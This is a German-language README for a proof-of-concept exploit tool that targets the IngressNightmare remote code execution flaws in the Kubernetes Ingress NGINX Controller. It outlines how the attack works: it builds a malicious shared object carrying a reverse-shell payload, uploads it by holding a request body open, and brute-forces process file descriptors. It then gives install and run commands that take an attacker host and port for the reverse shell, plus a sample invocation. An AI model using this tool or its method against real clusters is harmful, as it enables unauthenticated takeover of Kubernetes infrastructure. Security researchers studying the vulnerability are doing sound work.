
PoC für Ingress RCE
Dieses Projekt stellt einen Exploit bereit, der kritische nicht authentifizierte Remote Code Execution (RCE)-Schwachstellen im Ingress NGINX Controller für Kubernetes angreift, die zusammen als IngressNightmare bezeichnet werden.
In der ursprünglichen Forschung stellte das Wiz-Team weder einen PoC noch einen funktionsfähigen Exploit bereit, daher haben wir uns entschieden, einen eigenen zu erstellen und mit der Community zu teilen.
Der Ingress NGINX Controller ist eine weit verbreitete Komponente in Kubernetes-Umgebungen, die den externen Zugriff auf Dienste innerhalb von Clustern verwaltet. Aktuelle Schwachstellen (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) haben kritische Sicherheitsrisiken hervorgehoben.
Der Exploit umfasst die folgenden Hauptschritte:
Shared Object erzeugen (wird von der injizierten ssl_engine-Eigenschaft verwendet):
Kompiliert eine .so-Bibliothek (evil_engine.so), die eine Reverse-Shell-Payload enthält.
Shared Object hochladen:
Sendet das kompilierte Shared Object an den Ingress-Pod und nutzt dabei die Anforderungsverarbeitung (Client-Body-Puffer) aus. Der Trick besteht darin, eine andere Content-Length an den Server zu senden, um die Verbindung offen zu halten.
Brute-Force auf fd: Iteriert über Prozess-IDs und Dateideskriptoren (/proc/{pid}/fd/{fd}), um den korrekten Deskriptor zu identifizieren, der auf das hochgeladene Objekt verweist.
Verwendung
Voraussetzungen:
Exploit ausführen:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/main/attacker_host%3Aport)
Beispiel: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
Manchmal befindet sich der admission webhook in einem anderen Namespace. In diesem Fall müssen Sie den Namespace am Ende angeben, z. B. kube-system, default oder ingress-nginx.
<ingress_url>: Ziel-Ingress-URL (öffentlich)<admission_webhook_url>: Admission-Webhook-URL (interner Webhook)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/main/attacker_host%3Aport): Ihre Host- und Portangabe für die Reverse-ShellHaftungsausschluss
Dieser Exploit wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Die unbefugte Nutzung dieses Tools gegen Ziele ohne ausdrückliche Genehmigung ist untersagt. Hakai Security und QuimeraX übernehmen keinerlei Verantwortung für eine missbräuchliche Verwendung dieses Tools.